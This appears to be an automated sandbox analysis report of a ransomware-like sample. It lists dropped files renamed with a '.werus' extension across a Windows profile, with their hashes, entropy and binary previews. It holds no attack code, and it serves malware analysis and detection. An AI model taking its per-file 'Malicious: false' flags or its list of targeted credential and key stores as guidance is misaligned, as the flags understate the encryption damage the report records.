Preview:	,......._......x.....,0.'l.M.9.. ...T)N.D..)%=.)G......:>..Z.G.C.YDc..$.^3.8.^C.xC..`...R....3.....J8........].,....m.4..?AoLu...o..1)G.([u.....v.\|..&..\<N.....;r...D.w.n.)#......g.,..a.UV........;..`/T@q...'..4>.,J(.I.z92.......<...}..nD95(L0.-.h...)...,..-.=..Q......u.-..^.o..Fi>.~6#8W2.....6...R...b=y..p...M.+.`..k.UPU........9ggN..'..H.W...Q.....kBF.\^ j<....4....k.......m..M.VG.).........S.W......ckeQM~PIa{2.."x.M%....{....... &..H.e.T....f..]g....d..V5Em..r.3.aB\.og S/.....y!..4`......h....-....$..t+.....j...$...PD#.t;.)o.\|I.L.\O5d1.:%....-x...d.F.<?............q..Vq....=..`.n......K..X..:S.....7j"f z....@i8...Z...+........\|..I.h.7(..6.I..7,..{f.o.N.zFTc....H.(.*..!...(..!....Q..z.n.Ln..P+a.f." ...F..X.S.....AcrR.....j&.4.dk....[.........k.j...>.H.8avz........F..o.a.{....y3y.[&....cn>..V.>K....Z......../...Q.T$U....}{!..S..D...QpZ..:.@....r.$?B)....Uw./3....{....!.M.).p..]..%f.O.....9G..y.C.....6.p.............U....<v......."......

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_storek.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	272
Entropy (8bit):	7.359234164652491
Encrypted:	false
SSDEEP:	6:/dYptkKf/coa8GrpRC1x/7HRDnEr9EC1jFGQiBvoIo:lYptkKf/Mp8xF7IEGj8QOvoZ
MD5:	B6ECD02FD35674DABB04CFE9AAABBB21
SHA1:	DA3F469EE3AACE44B02BC852179B38D59E3632A8
SHA-256:	097559363EAF8E2818EFB3B2F6C5DDAE5A636605FC6C3A756723AA4E8BC94284
SHA-512:	103B634973B2F597FCB9A29BF4DD5AF1DE80C140CBAB04EF906F00782C0150CE0FE6EC422C32EA360443333E3E783EAAB2FC519FAEC73BB2FFB31746D72B129F
Malicious:	false
Reputation:	low
Preview:	.OH.I....3M!Isq.O.].U.-.z..{#b.<.B>.\|.u.....~%.AC.~..!S.{9e.J.Z.Q.}...paN..-.>._.......@..;.+......+$u./...Q.6v.K\.}..W<.^r.`.5&....?.4.[eP...7...~n.S...co.O.2.................S.g.#.m9pIx.B..b.j3..*`..q.~.ne...1Af2.....8js.5"....k5....M.U".#,E.$.U......\.RBX.

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMDocs.sav.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	5.2932958340544936
Encrypted:	false
SSDEEP:	3:6be2vjVZWlIhuAV:0+muAV
MD5:	FBBA2914632B56ECBFA340C41280B5A1
SHA1:	8C58E263996ECC371B6F5090A7ECF8AD57EC9974
SHA-256:	B7C58EF6279A76C1BF2A60064D85545E399F58287E80E9000E233CED53A4F4FF
SHA-512:	DBDEC10AD08E9E70E2325594EB09C3A3E4CCECDD4EAEE2DA8AD111FECE92C5294DDAB9A66825B9B5DCB62FBE4704A9F2FDFDE8466ECFCC5A452BC6C8268EA092
Malicious:	false
Reputation:	low
Preview:	l6.sJr...S.M.s.p..~.3.S...-......:.....vY+..{

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMGrpPrm.sav.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	5.706954882778696
Encrypted:	false
SSDEEP:	3:6be2vjKAmfwGUhNWcP4GtpRLdMEn:02DfwGUh1AMptd
MD5:	65F0D72A8539E2F1FE3DDD635AE1461B
SHA1:	CE810FEF2A95894EBC0BF8CD6F70300617D3A2F2
SHA-256:	8B6F8DC14F0FE879F65668CF90333C97C171601BF41224CC6583395DAF7A961B
SHA-512:	C50808886B288D26DDD2980AAA045C4FC92A7C86EFC3C4EB260DA65D227B83ADB43F1B513F4D235510D65A0816A254259324F07CF3B1BA86C6FE58319E49A2EC
Malicious:	false
Preview:	l6.sJr...S.M.s.o.......5.V....,..:.@.9sy..{.cBk....n......Z..

C:\Users\user\AppData\Roaming\Microsoft\Crypto\Keys\de7cf8a7901d2ad13e5c67c29e5d1662_9e146be9-c76a-4720-bcdb-53011b87bd06.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	976
Entropy (8bit):	7.804445806696356
Encrypted:	false
SSDEEP:	24:3jUzCxkuq82SUKMJRBh0ux80WNncYdaP0o2ckDpt01h0RBiGk:3gzrsPCRBauS5xcYoP0WkltDBid
MD5:	8DC8CFDD23A0DA42AC703AA2D1F55D04
SHA1:	1F10F09B2C13ED1FB9473FE4C925524906A72F10
SHA-256:	3900DD923653A915595DB4CF34A1A9499064C57DADA3ADFF99761F57B98654B0
SHA-512:	88CF7B8DA74A9EC019CF50C49497011E36F3D95D2B5002397CE5E9672A79E0E0AC644689D113D2D54251E01B932B2EDEC818142F53D4379395752EFF58E4AEF3
Malicious:	false
Preview:	E}0nD.....":.dOa...m..W.L..J2.Zq^.<..F...].R.YH+>(.4.I.I....a.r".../............6....>..kF.(....[$.f\.......$.D.]..'G..R.4.9.L..Xn..yI........\|.=0.IF.}...w../.~=......+..ti...(+^../k.a..K.(.f......k...T'(.8....=.d...w...}.....N.~W.[.(BoB1.-.S.c.Dl[...WH-.y....u.v....CYL........yOx.<...%.<3......2.`.L.........K\|u.~....aZ(]hV.Tt....u.....1.[......9;....PC..:...Y.W.B.,,r...)..W..?.`.....u..b..c...H.].m.J..L...r7...O.........!.....?...d.g.`;)..t..k.`T..q..k...^X.x+T.E.@.W..5..D..........\|.........>..s..V@..F...;...._....L..:>...%)...a..5K.;.'.....7:7..F.P..Q.e~.E...QP.\.z..(.......H.......d...aeV\|.....l.....~..L....Vg...h...+..r......... ......sV.....f.C.Lq>../...(q.5A.z...~.H0a.._;EP..+.V.......Q.r.&{......d.n.....z)...P.....@9..c..N......SX(ew.fz.M.i..+is.}.....L@.\|K..>.^.O..Jh. .a...u@.p$s.Y..L.<9%y....m9...cdi.w.L..5.w8....hP.~..I..s.%...T... ..r.B......!1..{.>.3S..l..z..0...(......*.r.........,....?...)Bwf.jC.%W

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	2320
Entropy (8bit):	7.924759810062622
Encrypted:	false
SSDEEP:	48:Q05bQoP0sYo7OuNAQPKEJ/wrWT8YShpGEyHwigsZq/DGz3:L5bQoFP7JAQPDTjWpGtPpZq/o
MD5:	73DABD9ACC5D00EE5D444FC8501E010A
SHA1:	4DF3AD29055A163375E76D0F7766B36BBA845E85
SHA-256:	06C2A705D68B61FC6ACF538955B1CC464E5B619CC72CD629E3F0CB45AF51DEF1
SHA-512:	C3D67BE29097F27B3E013C829AF879EE947BEBB7D4635463E3F4B663A23827C92DF9A927CA8D887C8AE161592C24313ACAEC1659B2C42B03610B5CBDF0ECC797
Malicious:	false
Preview:	.i........B..Tf.g.{......fge9.?....[...E.n..$l.'2.E........c...l.5.M.Ps.....:......=3j.CGn.8..h..I..g.,...9z .T...EwS.B.<PT..\|.'.....$...F..UpP...(.j..vX.[.6...9.6....z.vM.....w.......v...9l....M..t...h."./..S.T.s.......1.I<..h.)...n....)c.4...,.a....w..)e..{H2.../..+._.!...sv...s2af....9..........[............(5.2..iE..J...Q........U.H.......-V.-.l....S.?J4f.9.....[N.... 8_..f.su.M..{..N..v.v.LA..$.....^i./.....T....c..p0.....kz./.D.d....r5.\=\../..]...S...D.g.E..Z.r.......+.......@O....V\..#)...a$6.........xn..!.8.B....(...9.....#......@y[...>..eJe.a..]n..1e...[J+.....Z.J4....X+u....i..%....k...hC..2..%c.~bI........P..0N....u-1}.v.F.&.M..........7......%..>56..49.....R.-8.m}.I...~.P%...lT,jEoX8%A.<l-xO.......D...;..-.Yw....}.........`BX1D..:.OB..}..\|.~-.!.`....,s#6$P...k8'../<.U=M.....6..,'.N.c.I&.........p.n.V!.m.c.o...]u.O..g./.Y..8Pl.L.F.....28.....)....dv..#.A..\.1..[.\..Q...(...1.>...U.V........#..\|Q..]c.I..t...^O_K.g...E....G.2.

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Microsoft Edge.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	2384
Entropy (8bit):	7.934864175596499
Encrypted:	false
SSDEEP:	48:G43ClGs1KVDg2DwhZ33jVYK8nNLckK+Dk0/b:G43oGs1Kh3whZ3d8x9K+o0/b
MD5:	351F12646D84722D89A78AF528E7878D
SHA1:	48A41D2FBB795AF31705637FF2A1F58261C62701
SHA-256:	66A84E0D274A12D40203CDF14C4E39EDBA9A8CB83C604AFCAD506B09F68B47E4
SHA-512:	25814E20B738826D9FD0B27EFD0ECBF52FE6C6273039044D2C9DD61D7B5EC4E5EBAB5DECC31D4A24F6D8CF448657CCAD654259294B028D17058FB1E38E2BF5AC
Malicious:	false
Preview:	.i........B..Tf....;.MA..d...$.7......M.Ym......#...Z..].L.q..t....8W...O.1..p./WZ..rbjk.....J.. ..(............o.=..sk.h5^.RC<#...>^....%...nu.5..2Mx......>,`........%....f.+.K.t.&..:84h....._.5h?..@v.....>......c..tv4C.e.BB.mQ.X6.....l:.S..........U.....d...@...W...jbo..I.<i7...L$.~......%+...Y.....c...Z............X.r......J1....~...N=r....d.x.e...........cB%..... \.&..6.4m.Y.ny!....]:.0..C ...myK.....%4.I..).9y...EL...4....Q...9K.U.V.i.......+..%#^.....!MSi=...).....R.`..g.]K.........W...z..V...R.R...U.)....[..-.....a...W$.y...wv.....=.D! v.x.......ba.=U.l..Z..U."{a.$1..9.!.........W..F...f.E.?nGd,.".l....\u~.e.A.;..t..5...tco.b..p.<\|..@a]....e.b..S\|./..sQq...6..H.@,.......X.....J...).....+..V=#eN+..}.8.U......+..I=2._..p...v<.)_.P....D.9Y...R2V..).+.Sf....xv::...<..)..7...Vz+:..;.@.N..or1.$l#.F#.2.W....e.`o...N...v=..nx_{..h...Gn.}0....s3.z..<h......:.gE.E..........K/..K7.>..\.. ;..4....C.....?#.z.8/.U.......W.....m..?^"..La...)..Sl^..

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Shows Desktop.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	368
Entropy (8bit):	7.491835658697163
Encrypted:	false
SSDEEP:	6:69TUxrX9QR4Rk3bvjo0pTnBEdhLNEXqdcNY7m+9a7tVcCZOlOaCHU0zyRre5tBvb:6Joj9QSRk3bvXZBEzaWF7mf7/DCOZFz/
MD5:	F98D19EC299979EEEEFF60FC40D16877
SHA1:	E91B93ADD05A51A4E3FA3ABE9F4BB0002A369A6A
SHA-256:	003C6D6A3A19BAC1FF682B00D5F6DABDD681A73A2A76407352FB923BB44E7213
SHA-512:	0B0CA8C3FFB3F729B00D90DCCDC76CF16E34F0D5CF5CE57713BC1D692464BE5EAB0C7647D181EF3E0BB56685AF539F27B8990E1E1C5CE164B169F719EC4418E2
Malicious:	false
Preview:	.i........B..Tf....!,........}~.".Nz...G...\U.]..?L.. ..d........c.......+..#...."..h......^i%.o..-...i...l..S...>...~.`T:..<@{.8..(....1\jIF...u....Ke..{3#..........'B._p.\V....u;Z.X.H....L..yT..TkV....AX...o..y..9....E2.UV..aI.0.!..jB.....R.\..`..~[..h..y.....xr.+...Q..s....1...P.Fp......D.<....>}0...p~E.X..=.cN.T.~"pg.k..v2p2...@.....W.G.

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\File Explorer.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	416
Entropy (8bit):	7.502676415237992
Encrypted:	false
SSDEEP:	12:6Joj9QSRk3PIg8FxSRtRrPnlQWTcidp4f0N:qyDR+V4SbJSYl4f0N
MD5:	1559B41E0253DE6C8C0129C39DB42BF0
SHA1:	A881346E3A1BC6C75E78F6E195686A2110C18F5E
SHA-256:	7A828B4A113E208D84FEDBA4DF739615FA2B22F60AE359080B7D5C03F53C4616
SHA-512:	E85E896E6AF5F7C0CF87C1B6C317AAE40CB8F4D61938487DF6CF7DE775FEDE90F9944B0800E5E5518E364F2D0202CA170951A53B4EAF480FD1330D896FDF0C42
Malicious:	false
Preview:	.i........B..Tf....!,........}~.".Nz...G.......F5.#hW.x.!...>j..."~.E..I.Tz....._j...j..5b.\|<.6.8.\|..D.L#.H....,)..]&y........f.0\|S"x..0..F......I...&W.e3.o.....@...`..f..Q.o}..C!.-.1r.].S.....S?Op^$R.#~.'..............L...5.o*....%.Ed..^....e.h.E.8...Q...G.}S.C9.F.Y.z..DK..!.A.&g.o,O4.....+..!...59P.4.&#.....&l.....I.`&.e..{..$.i.fn......L8..DQ.1.4.\|.`./.b.!{z.(.....\|.N.V.q...26.,D%.n.....

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	2336
Entropy (8bit):	7.9117612546865725
Encrypted:	false
SSDEEP:	48:AqqklN9u3NVlV7mArtQQDT8i6vqfdm3jubxczQ0JSI:ARkdEjlVquQk6vqfdm3q1WQc
MD5:	03CECB1408E2F9A4AD8C93EEB8700549
SHA1:	0EFDB9C9C9DDC54CD427CA7004C661B5C5BAEA3D
SHA-256:	DC3AACB3515517BCDD0491A18A87CCBCBB9C603B4C5B1932A198FB61D1BAC893
SHA-512:	0CC154F360326173B88E146A03D55A0972DB18B69DD892226CC58E4D3568771C3802B161002FCD5AAFD9C5D9B92C59118A23853A2B28A386019D4127F3F3CE60
Malicious:	false
Preview:	.i........B..Tf.g.{......fge9.?..g.J.u....C.A-....1.o.W......Y.k................1q......r(....Yg^..P.B...........Y$X.."+L.I.+.........]@...>L<.0.sJ@....N.r.C.._.Y.gq....(..Q..."..S._.p..F.]..MXH........g!...u..k...+.J....h...RZS.b...m....\3....1...O+.....l....r..P.J2.{..s....9..W.,..).W\|!.8...vy.......g.!.f.....R]....^$..E...z.X..+.-...Z...5..3.Ap.9...+%a0I...o.f..&.C.s...C..{.+......h@q...s.z...M..<>....Y.n.S...p.i..................0..QE...F/_E.7k..g..A.".M.jp........ .....@.....Z...n.Z.o.Q...u.....5....B.e.>...X...Dg.....y.e....r.....`.?...~...r.g'.....!.T.S.C..EH..NmZ..E..4aW..g....&...V18...m1...}..u.8zA.dg.z.N.YU..Cj.....7.<6.YY;~$5..oQr....#.h.E.<...e....H..4....q.....G.Z....S.j.P...c.7.$&(.a.t....8.r...L..K\..I.>`B...I..le..A)n.........1..e".k.e_..3.:....s.!.R[.p\t.......b..q..(...:..../2..3M...@...!...o.?C.............D.. .=5.....H....CW..7.....Xi..9q.....B...l.I...j9OA..ZT...`S....Vj.b....@....].@3E..[iW..$...

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	96
Entropy (8bit):	6.194235677759423
Encrypted:	false
SSDEEP:	3:6sMSz8pCOsWGL11jSF5JrnTb/qjApY+zn:61Sz8pCOjarsJrnX/J2+zn
MD5:	E10C7BE3496B09B6E484CD6703C80FFD
SHA1:	917B5A55D0BBA7B6B79DE1A401891E9B3F688ACC
SHA-256:	3C31A66E62BF03BAE429FC7748905DB60B9B56D153BC76DCCFDBAC612E6F2611
SHA-512:	B7B0CB102BA94161FA29B4FE3F9DF3E1CAB4F307193E0001CFB5EF0DDEA4B89A062ED4DCF2BBE517E2077463A49364A8FBFA62EFE00C4822F15B13285804EA4E
Malicious:	false
Preview:	..'.......~.....dh..'....S...*..x=.[.p...+.....Y...>ho..)....".Z....P.4.@.....=.<.K.h..~

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Window Switcher.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	336
Entropy (8bit):	7.395156449727167
Encrypted:	false
SSDEEP:	6:69TUxrX9QR4Rk3dk2RebXNOK+UOXKbLn2wCjuRihzvOvVFPBgkp2ABqu:6Joj9QSRk3dWcK+UQKbDXCjWQDOvVFlV
MD5:	C8B6EB0B9E79AA745ECB4DC0E82FD66B
SHA1:	CE17F99FE1203E5E3462F78DDCB7333E7B30199C
SHA-256:	DFDF4C60C3027AF98572874C3D51AEF5460D29FB73A204539A865F1E97F9FB93
SHA-512:	9C1D0B168D59B5F1582FD545659C59166ACC768050182ACC643DFB65B952BB0396AE386EC21F4996DA023404598CD74015F0D7D01AAE53888934974F7E108A25
Malicious:	false
Preview:	.i........B..Tf....!,........}~.".Nz...G...5?l..Q.r....."..."....`].q..r.y..........P.,.=.t...I../....c....9........B".x7...IS..J....Xk.R..2&{.w.L......Y.y.......^.00..!.X>./%/...!..Qno\|..+t.Ec_.[.-`K.....I~,R.f.=..,l%V...4i...]7R.@.....`.JAW=.v....-...y-e*<..FPIw.2...Z`..g..p.lL.".+3.E......e.....$C8..@^Q,Z0J...l.

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	160
Entropy (8bit):	6.810837860444756
Encrypted:	false
SSDEEP:	3:uGwJDvPye+ROxbdOKzgNfd6M1ZizUJ2gGAdagtZlP36gn:87xhOPNF6Na2DVgr93Ln
MD5:	24AEF980E6F0FE0F6CDC7751EDE519A6
SHA1:	74DAA42B55D708EFE9A2BA45171A938779F9D1C9
SHA-256:	DACF5DBC296E0B2613652DCEBDE0BEC2BFFB3F3A6B86F54178B4C9BE432CE816
SHA-512:	22577B96995ADC55BA207E81D3ABC9190D6426F883208E07BFA7061825A533CCAEBBF5114BB673BB25F7F9A88826B7E480667F9D33612C101C043167FFE77B5C
Malicious:	false
Preview:	.......m.A.D.ZKw.0....!..i...)..6./..U.....(.R...a.[.Sjz..F.....~.*..{.....F.........{\|=....T....<...O..n...b...~.....[.....c..H..).P..N.....O....<..B_E

C:\Users\user\AppData\Roaming\Microsoft\Network\Connections\Pbk\_hiddenPbk\rasphone.pbk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:Ze7oTPr:Ze7u
MD5:	81824B4AEC9F6B0BE6FCB7F5B0DF0A96
SHA1:	FB3F9AC4E729CB04B9D0B9E403CB36B956989E26
SHA-256:	50A3A28BC237269F33D8695BEE16D6E2E62042D1AF549E743E6AD771E7AC3798
SHA-512:	E5F23360D1F4B7C23D0C2FE5C8B4ACFC1E600C9724B99CCFFACB7AC8B3E0758DB98CE3F15E6CB20134EB66FF4948F2803506DB855DB22D020042C9DC2FAA784A
Malicious:	false
Preview:	.......u...Q..N

C:\Users\user\AppData\Roaming\Microsoft\Protect\CREDHIST.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	32
Entropy (8bit):	4.875
Encrypted:	false
SSDEEP:	3:fXCgJ74TDFn:/9Z4PFn
MD5:	8990BC2CB6A203428B58890F91F4CE26
SHA1:	0D76A0E7D82D5CE399AC6E4F85089D1437A1538B
SHA-256:	8875A05EEC3D126BD063B301D932DFB27083D9A6B16A0135640A9B6E2419623A
SHA-512:	90F711542FC0F83FABE3C6D898160D1856EEC4A1534575415C34905C7BA2164CCEC3A78C5EEDB549DD5A3552574903DE93E2B3CF581C306D51DBBD017F776ECE
Malicious:	false
Preview:	..rC{.q.W3.\|.P....\|..b......aq=.

C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-2246122658-3693405117-2476756634-1003\1f96f985-85d7-4a7a-a053-c8e755c25d39.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	480
Entropy (8bit):	7.549687823935403
Encrypted:	false
SSDEEP:	12:mSiQc4qBeoEC78zDkMEaAYrWae51euIL9+lVrBRaggX:9iQZqBfz8sMEuS9VM9M1sH
MD5:	066FA37A40A51E34CF515E338E8F1F6F
SHA1:	474761BEBD3C295C04DD0A185E209A10CF6CCCCE
SHA-256:	2C5CDCFBB6D009DFA87895238CF804F5C2EF443610BC86C2188C912FADD3B30F
SHA-512:	066879B20621AB2A300DCF70528B7EE67DAF1310EF2C06F150E1F8DA8866D74A68FE7D9721D5846D7A74AEC996E9BD55D2081444EF0BBB5EC2FEBA339C016122
Malicious:	false
Preview:	e[.x. C...n.F.=..s.~l6..'.1.&.\Ej......B^..E[#.O...Y....J.B..MfP.U.]...U.\|...r..s\..At;...aS.3.....Q}.l.....1......[.X....O;'vi.N\|.b../..O...x..y...o..{A.....&d............-...[.........r.G...=.J..f./2ZOy..\|=..h"...Qpo..5x.[......n......a.\|...H......C.].]..."B...X..Y.....)..~.wJ.4.V".{.+.n....B.\.5'.l.7....`..OhM.U...O.I.efH.}!!i..C...u...aM$[..mM...>@.J....si..p..../<....=.FD..9.....B............F..\|...C...\|.G..b...g.....(.v...!.......SQ.Y.>.#..)

C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-2246122658-3693405117-2476756634-1003\Preferred.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	32
Entropy (8bit):	4.8125
Encrypted:	false
SSDEEP:	3:QFbVS3YLamO:QxSIu
MD5:	951F7DA824300CEF00D77D68C8CD35D2
SHA1:	59AC8D859AD1169205E6ABB2AB83AB079722CD2F
SHA-256:	DEAB3FBDCCAC80098D429F07364D8AC2E8CBB7E5129CAFF56634919C8F5047F8
SHA-512:	657A0F5027EEFF1B7EB5E0691DF64F6EBD129634B4E46DB7DA4CE052F20D4BF34631FBFDCE22BDF0659CA2B8E47772C75B451BDAD9956232D761EFB9071DCBE8
Malicious:	false
Preview:	.iW.`.p.......&.8c..`..........

C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\AppContainerUserCertRead.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:Ze7oTPr:Ze7u
MD5:	81824B4AEC9F6B0BE6FCB7F5B0DF0A96
SHA1:	FB3F9AC4E729CB04B9D0B9E403CB36B956989E26
SHA-256:	50A3A28BC237269F33D8695BEE16D6E2E62042D1AF549E743E6AD771E7AC3798
SHA-512:	E5F23360D1F4B7C23D0C2FE5C8B4ACFC1E600C9724B99CCFFACB7AC8B3E0758DB98CE3F15E6CB20134EB66FF4948F2803506DB855DB22D020042C9DC2FAA784A
Malicious:	false
Preview:	.......u...Q..N

C:\Users\user\AppData\Roaming\Microsoft\Windows\AccountPictures\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	6.946434489598878
Encrypted:	false
SSDEEP:	6:wXaiw1hLi4fFp/rn8NajW4Jq37wyMfjgrqj:wXaiJm1neai4W7wffMrqj
MD5:	945F12FA77B31EA4073C6F6048D16781
SHA1:	8AD8A977778FF829C852DA8F6B7DA508B0037FA1
SHA-256:	5E7173F75A44313A51DD71F40CA2F66EB3F747DD3469E84AA3F1EABCBEADE913
SHA-512:	A4F9C45735216D2D81910D1AC8112C6C286B6C7F46929EC974219B1E3424B1A8C5AEE3BAD49453BF50754821FAE56E272F0066D5CC34F1226D6090ADF956DF8F
Malicious:	false
Preview:	9...[.O......i.....+..K.m..U...>4@...OA.g.6Pe....$...\....@...e............./.`>....a AD.a.....~.[I.n>~N.......f...y~. ..u?..W.J.B.a............vsG..o......t.l.T../..z.!.$...(..8.@.O..mc..<.@[.M..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\CameraRoll.library-ms.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	7.818911161596823
Encrypted:	false
SSDEEP:	24:hy8XTxa8DcW/JokyOZudvhlOdtUy86rAUv9oA7UB3:hy8XT4cTZududt0soAQB3
MD5:	7EE8776F0C8FF7E5A98BAB45FFAAE9A6
SHA1:	2180047D9E9D3CCFE1DD41786F0DECE9E3F3E4B1
SHA-256:	71B012AC772317ED500E32A2FD2BD6883172A62F728324FC0E463C039AAAC063
SHA-512:	637BD4DF4268383697C649D9799F53C9EC4D32099C5BE08EA8BA7E155749D12AE8A0EA44ECAEB8790564C12A243C4B57E223752ACA3111F3392B637FA670D916
Malicious:	false
Preview:	..`...D).X`.Q.8.n.....=.5<..R....m.0a.;.z.S~..R...?W..B..0.....@+a"`K}.... A"<........,...2g .F~!].9r.uS. ....-1!/.....{....q..2.w...!.#.....MpJb...~}1w.....:......K.r..h.([.....Z.f.S.."A._..;p+.G4.#Z...<o.o4P...p...w.L..........h....kx....R.l$......=<......V..^..gH.B.............m...n....(...p.rzT.G/....B.>....UR.e.R9..n....h.K..1. .7..6z...7.......'i3B...dN../..f+....j.B.FO.c.....\|.y.I...l.'^v......it....O...&$g8.{..s....\b."..../........;[.;>~...Y.)..rS..[...(....b............L.......v....#..kig.\...<Q....,.`..\|...L.s[..Y...q.E1.....>qs.k..T8$..r......Q..L....{.t...x{.[.22.-........!.3.....J7.$....X.^.......]..r.,8a...At..EA./4.W <$"a....xDR.A...0{U.l.....Ek...9...X..._6.V...jF.R..b.{8y.B7.....Gd...s...?kUY^...0..C?...S.."Cl.Y..g.u..v.=.L.-..........#%.j..3.P.Y...h4\.W.+......../..x.R......p....w."..@..}p..c.Z..W...'9.E>....z....W.....\|I.c..B.7IN)..>).{./...mI.b..".m..:b.q[...\|...n[..P..1.c..zC~i.!.S.NL...t.w.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Documents.library-ms.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	2112
Entropy (8bit):	7.914410425749805
Encrypted:	false
SSDEEP:	48:hy8XTPDYqO+GRhpU//rItP3tW/f0vmZX1YptDiGRA162I+g:hy2YqO+8eSa8eXSptFk6j
MD5:	12B7069EB7B409B2FFDC5790ACC2C793
SHA1:	A0CE23FC4F3433BE22C5DE474BF86A6F44A02EC0
SHA-256:	B637FBB87CD84ADB7A5665DF28FB076B490561A4E5F9887F9A31DC05E476BAEF
SHA-512:	5214A431E3A7743CD6081E6A69F93764567455180D1AE7FDA254B6D6425FF7A5BCB94CFCBD22D701A1542C792B02FD7DAB58B3958729A5B65A3283DF45E99DDF
Malicious:	false
Preview:	..`...D).X`.Q.8.n.....=.5<..R....m.0a.;.z.S~..R...?W..B..0.....@+a"`K}.... A"<........,...2g .F~!].9r.uS. ....\|..R..M.9.A.E.......7.{/..I....`..([..9.:_.^].!.I.i.t.._..$.[...&...W..4...../.+.g9...!n........qT.=..x..0../...W...m..M...7.j..{.....2Pw&..'..X...#..(.a.../b.fiOn.1...Z..#(.M.../..j...\.Bl.{t..y...'.a..&....Y..+...b.......l\|.UG.....8s...Z.)-..+..O.._...&............5e.d5............\.N.Z.^...Gd@.q.)w.<:.Y.H.a.I9QGd(o..WN..1.OU.K...)?r.AE....Ed[..o..Z.f.Up:x83......1.%%.T.8.\O...!.../a..%......s@].....<.7.....?..d..z.}r^.G[rs......`U.....?....g...zb..\r.o+..G~.;.....6....t.K..wm.5..P..5.\K..y...A..@....-.'....)0...;.0.V....\.\..5.=.a...u.o.Y..:v..o....25....Z.k....K...d...Q....x.N..1..F-I..<...D.&.!Y.h.....\|....\|.'........p..sp......S.z..".Y?..:.J{..;......V.z...O....)......B)..2Q..aw..S..(.$.N.nl..G.m...k.t..{.y..........+I.A.6..'.H...E..."....i}..Rj..K.U...7.1u.Ph..#'.G.....4..>....[..J.....`-......br.+.$.I...\...i

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Music.library-ms.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	2064
Entropy (8bit):	7.9195893525499645
Encrypted:	false
SSDEEP:	48:hy8XTPpgxBX2OueG6KUrsIz5khAfPAMrvj9Tp3q3seFJdizaxD4:hyRt2OuCKUrBNkGAMTRd0izo4
MD5:	0923752D7101E6C90B20FD57B8B5CF7A
SHA1:	A009A69671711CD9D55F1ADF363494EF3A113C64
SHA-256:	8F7C08551C4ED5304C35D766DB2A769CC87D8E67E3E8C5A72994CA2EB0E40239
SHA-512:	20EACA43759E03BCCDDCC45902446C435DA1FA37D05A3D9A1D8DB65EF69DCE8EE55BDBCED3E8E7594CCEFB30BFB88ABAB2BC34856E8A0A6BEE0FA6020553C412
Malicious:	false
